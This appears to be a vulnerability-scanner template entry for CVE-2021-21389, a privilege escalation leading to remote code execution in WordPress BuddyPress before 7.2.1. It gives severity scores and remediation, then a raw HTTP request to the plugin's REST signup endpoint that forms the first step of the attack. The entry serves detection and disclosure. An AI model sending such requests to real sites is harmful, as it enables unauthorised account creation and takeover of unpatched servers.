| Title | BuddyPress REST API <7.2.1 - Privilege Escalation/Remote Code Execution |
|---|---|
| Author | lotusdll |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information, escalate privileges, or execute arbitrary code on the affected system. |
| Remediation | This issue has been remediated in WordPress BuddyPress 7.2.1. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93307 |
| CVE ID | CVE-2021-21389 |
| CWE ID | CWE-863 |
| Tags | cve2021 cve wordpress wp-plugin rce wp buddypress vkev vuln |
WordPress BuddyPress before version 7.2.1 is susceptible to a privilege escalation vulnerability that can be leveraged to perform remote code execution.
POST /wp-json/buddypress/v1/signup HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 200
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip
{
"user_login":"38FFEsJu0dcpENldpuAWvPcWbO7",
"password":"38FFEsJu0dcpENldpuAWvPcWbO7",
"user_name":"38FFEsJu0dcpENldpuAWvPcWbO7",
"user_email":"38FFEsJu0dcpENldpuAWvPcWbO7@interact.sh"
}
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